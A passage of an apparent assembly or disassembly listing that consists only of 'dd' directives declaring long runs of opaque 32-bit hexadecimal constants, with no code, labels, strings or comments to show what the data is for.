1AC3535Ch dd 0E0FFD9D7h, 0B104DFh, 62C4FC25h, 0E55989E2h, 0EC4BF998h dd 44511CC8h, 7C98E907h, 7022D343h, 1188A15Ch, 8938417Bh dd 5A07201h, 0C48E6F56h, 4C079742h, 8AE021BBh, 0DE70039Eh dd 2CEAC193h, 0C581423h, 0A368D332h, 30129219h, 1A0FE4DAh dd 0E066D267h, 0E16A4E28h, 0B27207BDh, 2C386845h, 78406790h dd 0A68B75D0h, 83F627C4h, 467B80E4h, 2ADD240Fh, 4B9EBF4h dd 0FB315E64h, 0B68D0004h, 61E0B6C7h, 32C45F83h, 783093E0h dd 0B1832E9h, 249EB38h, 0B47D4C68h, 0F46D21C0h, 0D679F0h dd 667CC01Fh, 0B4DF4EBEh, 0C991EF01h, 9830964Dh, 2947E0h dd 925287F2h, 0C8C1138Dh, 0B8852F00h, 0BBFC9701h, 1409188h dd 0EA8F4D18h, 0DFA45206h, 0F608E619h, 527388h, 0AF459DA8h dd 0A6345B60h, 0B8413C00h, 541583AAh, 1CEF58E6h, 0AB17410h dd 846D72D9h, 8B7F8141h, 0F7C4043Ah, 5A3CB057h, 8060A0A6h dd 955FA99h, 0D7451F36h, 8B4043CAh, 80E52083h, 2EAFB35Ch dd 2B7B0678h, 0D4C2BB4Eh, 0A86430h, 6568E646h, 215BBEC0h dd 0BC2783EEh, 1D904CA5h, 828D5F1Eh, 0B0A36C6Fh, 0DEBDE476h dd 14B2B012h, 0BF01B33Bh, 83C2F655h, 8A5852DEh, 9F2510h dd 0D85186E3h, 54A4A0ABh, 3F202C90h, 60A1004Fh, 29B0CCD0h dd 0D022B0Ah, 857E6ABBh, 0C4C0523Dh, 0ACC7B710h, 0C95C8824h dd 32BAB804h, 10A611C6h dd 7AD468B8h, 445600B5h, 616A889Fh, 0C01D810h, 0BF437F60h dd 9C413E6Dh, 6030D6F7h, 870B00B9h, 6A6EBC74h, 0DD162EA4h dd 30265D45h, 479C9C10h, 272B91CCh, 7471C47Bh, 0EE93680Eh dd 200832ECh, 4A98643Bh, 170884ADh, 0B2EC0041h, 136DB57Fh dd 87EBF600h, 6FAF4402h, 48010358h, 1A6B9D9Ah, 8AF51800h dd 4B41986Ch, 97D805DEh, 0C3A615EAh, 0F2F00E6Ch, 0FC89DB52h dd 0F020402Ah, 874926B5h, 459F8919h, 820C2798h, 7CD0118Ah dd 0CC00C805h, 1F898000h, 996B49B9h, 166E902Dh, 0AEF46E2Fh dd 97909300h, 99273E93h, 3D41110h, 0C748E17Bh, 0C65B8B3h dd 85C40479h, 0E2F9EE94h, 66630B34h, 280D8AA6h, 89C86210h dd 0D8C18D92h, 8410E62Ch, 0FC022DA2h, 0AC20A355h, 13846646h dd 8BB1FFBBh, 0E1911778h, 3504F01Fh, 58C2BF04h, 111719CEh dd 5F6A80AFh, 0F0BD802Ch, 6D406F9Dh, 21C90CB0h, 7FE0B0E0h dd 74418248h, 0C14C78E9h, 85EBD576h, 88A63430h, 0E807C615h dd 4992BDDFh, 0D0E6B70h, 2458002Ah, 44D3B5E2h, 6CAE121Eh dd 0BE0E850h, 0B9644C99h, 0EE6F00D1h, 0A36A4600h, 80C03DF9h dd 739AD3D1h, 3C50068h, 8AA36F4Bh, 0F4987998h, 0E42094B9h dd 39B02150h, 66434C9Ah, 894CA29h, 3097439Dh, 53BE60D0h dd 38A300B7h, 46DF7BE3h, 9600EF09h, 0F5E922C9h, 0EACE3498h dd 0E4089407h, 871CA216h, 819021A1h, 0B0E442A7h, 95E877D0h dd 7458802h, 5457EC20h, 0B3050F99h, 0C0FCF03Fh, 0EB1B44E4h dd 6E1F3304h, 78ACDBh, 0D3455A2Bh, 7CCB87BBh, 13B40695h dd 18352A1Eh, 0DE963700h, 0F9935B9Ah, 10CC9EECh, 60D3C812h dd 0AE769E2Ch, 0C0A12E2Ah, 22E0F722h, 0FA00D668h, 2B0F1F84h dd 5036BBD4h, 9C045C9Bh, 0AFBE1D60h, 0B7FBB402h, 7B21CC58h dd 58890956h, 2F00B8ECh, 4AFABB94h, 145ABD21h, 8CD0B0C7h dd 2C80223Dh, 723B838h, 0F02583DAh, 1DA049FCh, 3262C0h dd 0C1D5B137h, 84087874h, 0E7F6A71Ch, 0EC60F4E6h, 7E7A8AC8h dd 5844F086h, 915B78E6h, 29694658h, 36AF126Ch, 0C3C22CE2h dd 1C461683h, 9E10F342h, 80F28874h, 6128A1B8h, 68F2E716h dd 7ED8020Bh, 0DF70040Ch, 1BC820B2h, 5E87AF85h, 0BBF02808h dd 180C1B8Eh, 0DB8ADDE0h, 70030E6Ch, 0D347105Dh, 0D81DA507h dd 90721C10h, 1DCC8620h, 0A6D75CA6h, 0B4B940A4h, 6E0187F7h dd 0EAA57467h, 830C9B65h, 5B468140h, 0F28CC96Bh, 2D2B5330h dd 0A409191Bh, 0B6271CE6h, 92CCAFDDh, 0D02640B2h, 0CEDC087Ch dd 191F7C0Ch, 65100048h, 0BD953DDEh, 809646A7h, 2E802249h dd 10D311F0h, 8384E6h, 811F3D75h, 6369BF87h, 42437090h dd 0B5D04B5Fh, 153BD482h, 0E6B4AD01h, 0C7A2643Ch, 6E02BA11h dd 8004F518h, 2195FFFAh, 87B29A00h, 0E141D340h, 0D0661DEAh dd 69FFC28Bh, 88E080B8h, 0DC04F245h, 0BBF628CDh, 0CF12AC97h dd 0BE080EA1h, 0FC55AF8Ah, 2D558h, 9E404191h, 0B37688AAh dd 0EA15300h, 22971292h, 0EB5E0EB5h, 988480BAh, 8B48849Bh dd 90110064h, 0E1FE31A6h, 50120FF8h, 4CA01EF5h, 2E43C968h dd 15A38B0Ch, 861AF8B4h, 6870A44Ah, 3B1E3ED6h, 640AC357h dd 5E8D5D0h, 0B26F7140h, 89770B38h, 3B84E449h, 0B313AADEh dd 98042257h, 9C880C2Ah, 1CB591E4h, 6D40386Eh, 85D2A1FCh dd 40B00007h, 263A1842h, 881C4CC4h, 59001179h, 0E2DCD01Fh dd 0C1800062h, 90BA367Ch, 2D00BB75h, 88EB3842h, 0BFC9B86h dd 596E0571h, 0FA4C7C98h, 0F7D3F100h, 3E5CF0DDh, 179926A0h dd 58B7155Ch, 0B631AD31h, 585EE2D0h, 0D8208044h, 0E1272B0h dd 0C0C12CCCh, 4EAABECh, 0A43240A8h, 0E2FA7B68h, 0BBBE1A63h dd 4C51C85Bh, 0BD805E05h, 88A1C41Ch, 0B591041Ch, 0C9289300h dd 84BA8021h, 0FAC8EE00h, 8FFFBF85h, 0DE454819h, 0DC70640Bh dd 0FB160CC8h, 0B738A4E0h, 0C0C0CC6Eh, 19868733h, 670F217h dd 4D30B8A5h, 0BC756906h, 0DE7D5818h, 5E9C511h, 0F6A4EF52h dd 0DFEC48AAh, 4CE3CB65h, 71E30812h, 0FC43B1F8h, 4501C9D5h dd 0EBF6B41Dh, 9BD080B9h, 0D06E2E6Bh, 9F67080Ch, 73198147h dd 4AED00F4h, 0EF9ED123h, 0C1903F12h, 8586AC48h, 0B9066D6Bh dd 0FFF580C0h, 2D979178h, 0FC641BB8h, 5A282400h, 0AAB0E64Dh dd 0C2C4CEAh, 0A4A2ABC2h, 8001ECD9h, 8A853CE4h, 1F42CCh dd 1A87FFEEh, 8E8B6A06h, 0DF0A93E0h, 8C822031h, 0B0B4F804h dd 0E4C6E349h, 5A342D2Eh, 0A428C024h, 94E2B42Bh, 7AD4B980h dd 26773A42h, 528CAC17h, 4C73CCE1h, 3BBFEA94h, 54D4D8D8h dd 0B2EE0175h, 2FE8F563h, 0FC137E58h, 0E4D7B049h, 31B80054h dd 9E960442h, 0AF0903A2h, 0C039FA41h, 0A433ECC8h, 892E0084h dd 3765137Eh, 305CFC05h, 917621ACh, 18580Ch, 9DE5B2A7h dd 4A52CB6Fh, 4E3C49C8h, 160344CEh, 4FE60757h, 4D83885Ch dd 1C9400EEh, 31AAD980h, 0FB4BE213h, 4DA888Dh, 0F44452C7h dd 8813E12Fh, 32005214h, 5342AE3Ch, 3FBD1B54h, 250596A1h dd 0B2A7DA7Ah, 4D470068h, 0D35FCD7Ch, 0E09F000Fh, 3D704F03h dd 17095279h, 98168EFAh, 218B8F74h, 82276849h, 115DE740h dd 0C2B6118Fh, 56083063h, 0A0A64E2Bh, 0E92BE791h, 12FA9170h dd 8CCA45F3h, 42E33E01h, 61B1C778h, 0A0BC4155h, 70D901E2h dd 338BCC32h, 36E05490h, 39E4D058h, 37A90061h, 0C0144412h dd 303E48D7h, 7B927F21h, 408BB0CCh, 0EFF4B6E2h, 46411496h dd 2CD090EBh, 56849814h, 572C4073h, 0C9FA10D4h, 20A8E6CAh dd 0B901E007h, 5024377Eh, 4C28D70Fh, 72E0AF2Eh, 0FA415CD6h dd 6D71B8A4h, 0A9776C64h, 0BC15ED60h, 53268000h, 2E094088h dd 12005A78h, 888C53B7h, 0E5E0EED0h, 5C2F807h, 97D01541h dd 1B0EDBh, 0DE9F5807h, 3E8721CDh, 0DF189E09h, 0BEA09CA4h dd 579708E0h, 0E0619444h, 0D02510E2h, 7137002Bh, 0A46B7B49h dd 10B17EB2h, 218D2681h, 6DC6384h, 0BBD32DF9h, 16422890h dd 1A70C5F2h, 0A1690F18h, 8452BB78h, 84C8AE5Dh, 0DE48B8E0h dd 973F1D80h, 13F63CC6h, 0DC73480Ch, 2CB933F4h, 4000C524h dd 4D348E4Bh, 3A823F2Bh, 60B1D880h, 0C753A8A4h, 0F819AB28h dd 2922EA43h, 463B4090h, 117A05A3h, 0CC8C21BBh, 6FEB001Dh dd 86CFF134h, 0EE000E0Ch, 8E7063BDh, 4F8A966Eh, 0E0C434BBh dd 0DD079E40h, 0FA85C7B9h, 0F223BBE0h, 0B40E0A2h, 0C5651881h dd 58D71040h, 0B93CA795h, 0BB8FA210h, 0B8DE48EEh, 225ACA22h dd 0E924C8h, 0AE37A561h, 0A4F6C163h, 0FAEB8C07h, 77723D2Ah dd 0A0288EFDh, 0F7CCB875h, 4E7D1520h, 0A851F4A6h, 0BC782461h dd 0B9C08048h, 0A6FF4536h, 77B8FD1Fh, 802C5D7Ch, 8329208Fh dd 0B0EA4DC6h, 0A446682Dh, 740B300Fh, 0E0421707h, 22A186C3h dd 38DB04C9h, 4415F300h, 30176Ah, 8FE8BB0Eh, 27D9ECC0h dd 97824828h, 2FFC2103h, 86720879h, 14C60039h, 3FA6D51Ch dd 0FF746D43h, 4A3802Fh, 20B01FE0h, 0D0F0A1C4h, 1C032808h dd 0B066AFDBh, 0A4E5C887h, 3E8900D9h, 0C34963BEh, 6416DCA7h dd 0F500D5F6h, 8C59FCDEh, 330627DFh, 293F7CA0h, 1F00AAB7h dd 8ED1ED14h, 58DC4054h, 9E213C55h, 71A60609h, 0DD5F9098h dd 0AA17222h, 855F7BEh, 3F1E08D0h, 6491FC20h, 3AC14D80h dd 0BDBE44FEh, 0B87C9C05h, 0B6F58758h, 0AEB20467h, 0FF0719Dh dd 0BC74C406h, 604F4E3Bh, 714D8658h, 0C3D0B200h, 33780E89h dd 0DBD226F1h, 59EB0854h dd 0B9427C44h, 208748BDh, 1B860055h, 3300E473h, 1FCAB0E2h dd 5B89574h, 0D140506Ch, 1E08F359h, 1001A95Ah, 727DC0A0h dd 0BE5E992h, 0ACC51744h, 0A06C4604h, 0E24AF8B2h, 0BA028200h dd 0BF7D602Bh, 12CA17BEh, 0FF2803D8h, 0A1AF8C52h, 803CE648h dd 9550B869h, 134EA887h, 0C7B23038h, 0A26448C0h, 4FC03CF9h dd 2F5A35B3h, 0C6F34B00h, 42A85C80h, 0EE550930h, 5C4BFFE5h dd 5ECCAEF8h, 9AA3DC04h, 94903214h, 4AAD69D9h, 27182004h dd 98009B3Ah, 0CE12911h, 0C21A7CEDh, 19D0B6A9h, 6CE0E47Eh dd 192DD86h, 56A48423h, 0F0E9F40Ah, 2500BEE3h, 0BC4274C2h dd 0C0C78909h, 0E5D85D30h, 5F2D8469h, 40E610h, 8B2A8599h dd 8730E5B7h, 94B25A00h, 79E6F2B1h, 7777DD6h, 4C987E7Ch dd 0C81C3D0Bh, 3301BF31h, 438D845Ch, 7E00439h, 0ECDE015Fh dd 80AAB45Dh, 0F5DC494Fh, 0FD4110C5h, 0A08E4887h, 0B86D4912h dd 40D3C820h, 0ADA7E257h, 85EA361Fh, 0C6800527h, 0ECA050BCh dd 4F003E6Ch, 10792A72h, 2F2058Bh, 175FE873h, 98C0DFC0h dd 1FE4E5BEh, 98011C24h, 20F0313Ch, 2200DC10h, 0DB17C69Bh dd 60B2D4B1h, 3DF3ED00h, 88E69E0Ah, 0CBA75D06h, 938A3CFh dd 200C2CFBh, 0C3D97082h, 0ADC41040h, 0CCD8DA5Bh, 79930FC0h dd 0D5A01C5Dh, 0CF23118Eh, 0C0C4B024h, 84C53B00h, 35AE694h dd 0E75FEDBEh, 0FCF06074h, 0D0168AA8h, 0B8908C9Fh, 0E0DC0EEh dd 0C55CA607h, 0DBE9h, 0FA399BD9h, 68A98407h, 0CDC18EE4h dd 59E48CB6h, 4C5A07A5h, 2C4044E6h, 4600D8D9h, 0E080C0ACh dd 246071D9h, 3F741A81h, 0F629316h, 20EDF1Ch, 11644B06h dd 0E944CCB0h, 304500D2h, 0FDF1F0BCh, 9917FE6Ah, 0B842AEC7h dd 20DACBDBh, 0ACE30998h, 0D8A3D11Fh, 0B8B1F6C5h, 6E78B0h dd 0BB8C4131h, 0C7B6DBFEh, 0F820CD5Ah, 4C673687h, 0FF8270CAh dd 0BC6E8F73h, 4101CB72h, 1D20FE09h, 30F0F4ACh, 0FACC00F2h dd 948D0D87h, 0A162677h, 0C804152Bh, 0A14E1798h, 0A7930F3Eh dd 0E3B46462h, 0AFE41857h, 81CCBC5Ch, 0B87D42B9h, 0D4DAF620h dd 10FFFA28h, 0A128D95Ch, 213AAE6Fh, 0C168A0A4h, 0F8F3EA57h dd 7083AA00h, 1E11512Fh, 41D72C08h, 0E8E24B29h, 221438B8h dd 9EAF1262h, 30B777h, 3C5C1C3Fh, 0E651A3Ah, 0F32BC37h dd 8022EDA7h, 0FC66828Ch, 114420BFh, 0FA5868E5h, 0D30200E1h dd 48DB7CB3h, 1600E9D8h, 0AB363347h, 91064941h, 58AF0B60h dd 48B82018h, 8C41644Fh, 4A5E9CDFh, 58DE4C4h, 5AF23506h dd 889CBC9Eh, 0AC64AF1Ah, 965A2D01h, 3F0B9CF9h, 0C73ABF4h dd 76746E52h, 0DF3BF4C4h, 1E5DF4DAh, 145C2D44h, 0F5CB013Ch dd 0C3463D1Ah, 0D54FC819h, 6E0B0700h, 0B90E5CD4h, 28B948h dd 1A994CADh, 8D01B89Bh, 4A3C09AFh, 0FDE06BF7h, 0C6862843h dd 779722D0h, 70784644h, 2640095h, 61981C3Ah, 0AA143669h dd 0ED48B30h, 3639B52h, 89C47FB9h, 1020FDD5h, 0C720120Ah dd 9878F8F2h, 6FC06Eh, 14DE89EFh, 4E4A9DF4h, 9C9150F2h dd 64D3EC05h, 40557C44h, 0D30040E7h, 97A70C94h, 201B20Dh dd 0D56AE56Eh, 0A2FC5171h, 0F1E7319h, 0D956F2B8h, 0B9ECDC32h dd 31C64502h, 5A4750F2h, 22D15BFCh, 0A0184588h, 4BEC9006h dd 3C64C873h, 7BDE0440h, 0FCD90A72h, 0FCC1474h, 52A28E22h dd 58718D0Ch, 1643FA00h, 0EBCB4Dh, 0D30561Eh, 0C5F38966h dd 55CAC01h, 2B5B573Ah, 60909D2Bh, 1895B184h, 692710h dd 429EA4C7h, 0F612A6DCh, 60194400h, 1B5652E6h, 84D64C8Ah dd 0B91CED00h, 71970185h, 0AED47907h, 8F0039EEh, 7E97074h dd 22A1BFF3h, 0A24760BDh, 9B78E1B2h, 0D75410B5h, 71AC001Ch dd 2B047631h, 92ABBF4h, 5D0B9050h, 0D243E5A8h, 0B948C06Ch dd 0A3E80EB4h, 29BC8835h, 9C4438E1h, 4CC260A4h, 4C0FDFB4h dd 0A4A09F74h, 0D1D89CDCh, 7C5A78B8h, 0B0465C93h, 4A45CC8h dd 0C1EF8066h, 53E892A0h, 4C226120h, 91020094h, 6CD00FC8h dd 474B8E38h, 0CCF86412h, 43A284B0h, 71513000h, 0F2DFDAD5h dd 85EE09ACh, 0B010C4B1h, 31C048BAh, 0A3641DDAh, 338B2EDFh dd 56B94044h, 5B72B83h, 0ACC344D0h, 0A10FD4F7h, 0D0467BE1h dd 30586ABBh, 82518A98h, 4667602Eh, 0C1B2C7BAh, 0A4DB2A34h dd 0F0101CE0h, 0FC80AE88h, 0D81F06ACh, 57EB0083h, 14D31BD7h dd 0E195DA8Dh, 0B708CA64h, 0D21222E0h, 18056E6Ah, 2C98D730h dd 0B0E720Ah, 7F81FB2Ch, 9B364802h, 284FC90h, 6E15503h dd 0C2788150h, 5F08843Ah, 1A6108Ch, 0D18B7220h, 6FB4883Dh dd 0CFDE6C5Fh, 47CA3841h, 0CB2E56F3h, 5BA3CF4h, 0AF0749F2h dd 5C009CB7h, 0A86C86EDh, 680066F1h, 4E73E243h, 13468EA7h dd 62DD5857h, 168090h, 0BBD476A2h, 42333470h, 0A4268501h dd 38AF7C3Ch, 0FD406E82h, 0C4F3CDEEh, 4843100h, 3E2689h dd 0FA4A8E1Dh, 13753D23h, 9A83530Eh, 6EA84243h, 2968C428h dd 1248D3E9h, 9438A281h, 0C1D3006Dh, 0CCA436AAh, 406F1D83h dd 0A0418002h, 84E8593Eh, 0DC867609h, 0BA748069h, 0E0DB20h dd 0E396C2Ch, 0AE8C8392h, 502D1800h, 9D2B0F40h, 0B1AC00D2h dd 0E589B42h, 0B51D2670h, 4B43BD01h, 0A071A004h, 0E9AD08Dh dd 79E42745h, 6D307B40h, 0D5038920h, 4BEC93D2h, 736FD819h dd 326F0ABh, 2FAA2A18h, 83D04558h, 52009AB3h, 84FCB0DAh dd 0FE0F297h, 0BB12FFD1h, 8D2BEA40h, 3000695Dh, 3EA6C35Ch dd 0C0FA701Ch, 87454258h, 58E0EC4Ah, 7E80F412h, 0B4F62200h dd 30921644h, 0ED28756Dh, 0BF30D343h, 0FFFB38E5h, 39337408h dd 78AB7Bh, 2E3EF904h, 73F7EF64h, 7C61D360h, 2B89FEh, 2E1B26B7h dd 0F8F4FC8Ch, 1EFABD0Eh, 8DFFC010h, 3F0E53BFh, 0E230A2F6h dd 21CE6071h, 0F03CAAE2h, 494707F2h, 4460964Fh, 78FF7Bh dd 0FDA64258h, 0CEDBF8D0h, 0E26C0A01h, 0E61DE871h, 0F7FC8186h dd 0D2F050E5h, 0CCA89255h, 0B000502Fh, 0C024DA1Ch, 3C77CBh dd 0E6C7FD9Bh, 0F96D101Dh, 0D2971B03h, 0C016E343h, 0F094BE05h dd 9FD0302Bh, 0C118C449h, 0DBC97400h, 53E8D728h, 73411B0Fh dd 7A881D2h, 12CFAA6h, 0F101022Ah, 0A7F8A258h, 3018D0E8h dd 0F2F14E17h, 59C087C8h, 7D97A805h, 0E808CF13h, 0F651F92Ch dd 10317660h, 85A704h, 97072994h, 118AA3E6h, 9160DA76h dd 0B09E7248h, 58CD502Bh, 1C2200D8h, 1B1FE50h, 815CDEEDh dd 0D57B189Dh, 0E9D161h, 72310A54h, 0FF737946h, 89A32901h dd 2C1F6F4Dh, 0E85BCCCh, 0F8CB1E8Ch, 41EC0093h, 2818D506h dd 0A17FF130h, 0A494A8h, 77999526h, 0E5639FDCh, 1EF17B00h dd 0E671FDB1h, 8C6C30F3h, 0B54E5630h, 89D77030h, 0BB2E3Ah dd 7490FAF1h, 5118C6E7h, 7280820Ah, 79818C19h, 687B1411h dd 4C1AF055h, 79049060h, 4687240Bh, 55510952h, 61D0C406h dd 0F65D5005h, 0B45FF805h, 2BE45030h, 0A681DACh, 0C08F0049h dd 6D6EF989h, 0C6C4A48h, 0E17A6C9Dh, 4EB2A2Bh, 0E98EF0ACh dd 8840FBE5h, 1457D522h, 4C43957Bh, 0ECF7FF0Ch, 8560D2A9h dd 0E8A3D939h, 0B0283DD4h, 0D1779480h, 0A6BE15FAh, 9D443490h dd 34DD0025h, 0A1F310C6h, 0BD0ECC87h, 869F36C9h, 7D59F05Ah dd 0AD1500D1h, 0D28B8C73h, 1A141B57h, 7E08AFCh, 0C0FA7AD5h dd 0A060B87Ah, 0C6F7F3FFh, 38D57941h, 0DBFB7A0Ah, 0A26ED4F6h dd 408DCD25h, 0FAE84B80h, 0B0724946h, 90E4F810h, 3C280058h dd 13564FEh dd 6A860013h, 0BC504123h, 763FFF42h, 1498F133h, 0A8F0F845h dd 98E000E9h, 7AA5446Bh, 0A8A3F93Ah, 8FF23883h, 261BAA80h dd 0F89283C9h, 0A0B66231h, 798090D2h, 0D7DD38FCh, 72007523h dd 32AB3DB2h, 0C78E04E9h, 48E4F6B1h, 0EA5E8700h, 4806E5EFh dd 2D1F3679h, 0C667C018h, 868BF92Bh, 1520FC90h, 0F35A32BDh dd 0DA4175E9h, 0F487F8B7h, 9EAFFA1Dh, 0C2890A9h, 0F8D30522h dd 0A8E253h, 0FB7DAD7Bh, 636EF151h, 0F8905092h, 0D2287AFCh dd 7310D08Bh, 93487531h, 0E871F130h, 51C0EE07h, 3551D58Dh dd 1310C9DDh, 6E806008h, 10A18680h, 12E63914h, 0F24CB9FEh dd 80B039B0h, 22A4B164h, 0EEC6A75Dh, 1498038Ch, 2AD51D2Dh dd 75EC6107h, 5DE4ADC9h, 3215888h, 3B715A45h, 0C38C044Ah dd 40B08989h, 627B44D2h, 9FCB400h, 7BC2CC49h, 0A445198Ah dd 48F1487Ah, 8E006CB8h, 87CB2597h, 1914E6Ah, 6017B350h dd 6E4D6B9Eh, 8A47E06h, 934B3989h, 9A7B8C06h, 4A53E198h dd 0FF2300E0h, 7F8685A5h, 0DFA300B8h, 0B00FF137h, 30136C75h dd 0E404889Fh, 5A0AEB1Dh, 0CEAE0068h, 55A91995h, 40FF3407h dd 4EA2E9FEh, 96284999h, 2F5CB110h, 3314D03h, 0F0143F35h dd 120430DCh, 24869681h, 0CBD808E4h, 53611D64h, 72C89B82h dd 40E4E221h, 7BF8E072h, 18E96974h, 1116D430h, 0D35B7707h dd 51E04CBCh, 0B2321099h, 34D65C9Ch, 0F4801C4Ch, 965787CEh dd 51A7B509h, 0D5A48476h, 0F7CA0053h, 0BB1AE185h, 1E483F03h dd 0A04676A4h, 7ED926C4h, 708C066h, 0BF399615h, 0DA8C351Eh dd 0A2277100h, 2EE23Ah, 9EE9BDD9h, 0E41B0D97h, 4007C130h dd 89C580ACh, 2147F0D1h, 64BEB3Dh, 0DF644534h, 0A9863928h dd 43D9CF8Fh, 63A79340h, 0F3316189h, 0AE4760BBh, 37C5180h dd 0CD5BEB0Ch, 0AE72D93Dh, 8C00C928h, 0DE7B5032h, 0B480065Ah dd 79E0CA43h, 5734FD50h, 3900CCE4h, 84960E5Dh, 1DDD99Dh dd 0D947499h, 60F726CDh, 0A0C448E4h, 71477E62h, 83880A2Ch dd 0AA44A5E7h, 0AC369101h, 0DB9CD5F7h, 33CF8ECh, 661576E3h dd 30047FE4h, 0AE438886h, 9891BEC6h, 41A563F3h, 59000CE6h dd 67FAC279h, 6F4740F0h, 0BE002192h, 0F91CDF80h, 2D006071h dd 6C0B8361h, 181676h, 78AAA95Ah, 4035DDDEh, 0A7A4C8C3h dd 71FCD1CBh, 0F093C180h, 0B20EE226h, 0C7116E00h, 5FB9472Bh dd 983718FEh, 0B5C49827h, 61006372h, 0E23BF780h, 0C031CB86h dd 0EA34C8A1h, 4BB8E940h, 80FB873Ah, 0CEA7F258h, 194D7DBEh dd 0B9DEFE1Bh, 0C454D17Eh, 9AFAB2C3h, 0F9420C92h, 9FEC7900h dd 0A5E17E06h, 0B51FFA08h, 0FC3AEDh, 0F1A8DFE8h, 0FD7C7F78h dd 11C97360h, 9676ECh, 0CD39F4AEh, 0D451E44Ch, 0C38F4Ch dd 0E156170Dh, 0A491F81Bh, 0AD3044B0h, 0CC975B00h, 4BB6AE24h dd 3A7403FFh, 69437365h, 5DECC8C0h, 10FE2200h, 0D38164B6h dd 0E1150170h, 0B1F7FACCh, 445C241Eh, 0E5476544h, 5E9A6981h dd 0CC4D2245h, 5D005739h, 0C2E7E012h, 0F8140CA3h, 0E37D6Ch dd 0D20D0284h, 0B9B50FE4h, 1B76DA06h, 1A49C3E7h, 0F804C1D5h dd 88219006h, 0E1372EC0h, 9095E97Ch, 0AAE705CCh, 8B0DA3h dd 12CA5C4h, 220CCC79h, 0A8C45142h, 0F09F0A1Ah, 0AA4392Fh dd 838408C8h, 0FDE430C0h, 57A3C08Fh, 8F1E2184h, 7C98F425h dd 7084CD9h, 206A308Dh, 0E9F7D061h, 5C002C98h, 42A6A0E1h dd 50B8E660h, 129DF8AFh, 4B4A37Bh, 40015F94h, 7E10C816h dd 7C624937h, 0CDAF027Ch, 7F8BDFF9h, 0BCE4D482h, 0EC8CAC21h dd 72FD298Ch, 9042C89h, 0FCF79966h, 4DC892C0h, 3783005Dh dd 3A0D386Dh, 0B700B639h, 124EE0EAh, 81824Bh, 37F3DC27h dd 27CE4AAh, 4CACAF1Dh, 98BDB503h, 0DAB08845h, 78EE0060h dd 2BA2818Ch, 741C4ABFh, 0A807EECh, 9FEDC24Bh, 10449835h dd 48A8FC11h, 0E6B41854h, 48CA4A9h, 0E59ADA7Eh, 0A2648103h dd 0FBF020B6h, 441E3F22h, 0D7724506h, 5FDCCB01h, 8A81CC5Dh dd 1D65FFC0h, 0E6447629h, 18BD6330h, 0D6E84178h, 94C03E2Ah dd 0E8B888F0h, 477030E3h, 560E4499h, 2A9220A1h, 0FCF6CBBDh dd 0ABC9028Eh, 7B0F7357h, 0FFE7A8A3h, 7F50C5B0h, 0C993728h dd 44477126h, 0D821704Ah, 7C61E712h, 88334099h, 66303F22h dd 40BE31F6h, 15DC005Eh, 836FFB70h, 8700DA9Dh, 17E701EBh dd 20CBD431h, 22430DEh, 0FB47A4FDh, 8A478E90h, 247DEEB6h dd 1E844CD6h, 61030222h, 4C9DE9Fh, 55BA11C6h, 171EAD4h dd 5D1B52FEh, 317391C5h, 43D9D780h, 66D45122h, 9CA1811Fh dd 0BFC8F3BBh, 7260FCCDh, 59EECC2h, 2808058Ah, 0C8C40839h dd 909B3489h, 0C0A9473Ch, 0E8E46F79h, 96007043h, 506535Fh dd 286EEF48h, 44DC1618h, 220F9E0Ah, 615A8B40h, 0FA81D72Ch dd 0CBB50840h, 0E429C035h, 0DE5469F2h, 4C4ACF00h, 798C516Dh dd 0BCB1086Eh, 86801E1Bh, 942BB459h, 0AC8048C8h, 0C8799D14h dd 341E4185h, 0D8EC20E0h, 0E800F443h, 0D4196305h, 140A258Eh dd 5402AC80h, 54A4E402h, 6C448AA9h, 63B4D500h, 1EEE42FEh dd 0BCA507EBh, 0A018D050h, 38CA78D7h, 44F5DC00h, 0FC86FF3Bh dd 697E18B4h, 709F41F7h, 35DACF00h, 0AE7BC5CDh, 0ED67FBFh dd 3160E60Eh, 37B3E760h, 63162A13h, 40458A69h, 8C8BE51Bh dd 0EF7D1E00h, 0BFFEF515h, 0E08B5105h, 0F08C4042h, 0A47679ABh dd 45E703A8h, 72DE3F50h, 2DA0C0ECh, 51804B87h, 0A392889Fh dd 46471200h, 502BAE6Eh, 0ACC63889h, 80058C52h, 0EF467BFEh dd 892BCC82h, 0F2E2809Ch, 384E6462h, 6E12E9C4h, 1FFC0FE4h dd 1C83B8ABh, 68C21B1Eh, 0D6B28468h, 0A6D5383Dh, 5F0054A1h dd 0B1B0953Bh, 0AD300F3h, 989B1343h, 32F0AFC7h, 450063F4h dd 9E19765Dh, 0FAFFC38Dh, 8488A0ECh, 9CD70F68h, 370C2C24h dd 545CF9A9h, 47430099h, 9EAAE856h, 342B09E4h, 8C003DA0h dd 0DBAF946h, 0A43AC440h, 28CD2C94h, 6D6904F8h, 28710FE8h dd 0CB1F8001h, 8B9EB632h, 83A9F70Ah, 0A483D4DBh, 0A035F76h dd 0C9D08729h, 3D5A02B4h, 0C960FEA1h, 95E676F6h, 541CAB00h dd 65D876Fh, 2077813h, 156ED9Dh, 0B861B533h, 0F0A8D845h dd 82F9F24h, 882C0B08h, 0E4497A2h, 0BE8EF240h, 2C032BBDh dd 6A32B6C5h, 0F04DA087h, 83980168h, 81A9BFCCh, 0B0B1A69Ch dd 7913C611h, 8F703037h, 0BA03E664h, 0E889657Ch, 9C5E1F42h dd 337B160Fh, 17D8EF88h, 2000AC12h, 95872CBBh, 0F670BDh dd 79D2899h, 0E11BFE08h, 0BECB01Eh, 9F8CEB9Dh, 129D2623h dd 20C34302h, 0C2ED6758h, 7B708C63h, 2422C337h, 8B288691h dd 0D810CB05h, 0D60E3D9Bh, 209E0196h, 76BC4E59h, 0F832482Ch dd 719D78C8h, 98DC11A5h, 44FA8048h, 1900B2C3h, 7FA36BCBh dd 0C3C2E245h, 0F089AC19h, 76FDA118h, 0C39C51h, 4C29F13h dd 0CE79D53Fh, 3EE1D20Fh, 54C1DC3Ah, 44CB875Eh, 0C6B02030h dd 417FFD71h, 4F642A00h, 25E3826Bh, 280EE50h, 97D31F0Dh dd 9C405C8Ah, 4A2A63E0h, 9144F8C5h, 4A7C7879h, 492856F0h dd 58220E88h, 2B0006A4h, 18CCF3D9h, 28AA55C7h, 80283246h dd 0DE046C14h, 562C9C16h, 0B1E568C0h, 0C00E14ECh, 0F82ED01Dh dd 88AE4190h, 11D0291Ch, 792EC0E7h, 0AAAF0854h, 1056E264h dd 0C2005060h, 9516B317h, 8901CCA9h, 0F6E54E1Ch, 33608179h dd 8AC51F9Ch, 5CFE80ACh, 0F4A9E00Fh, 54E47EFCh, 7BCF9A00h dd 6043D9BFh, 639305DCh dd 0D09677E6h, 0C2A29BB0h, 0BD002091h, 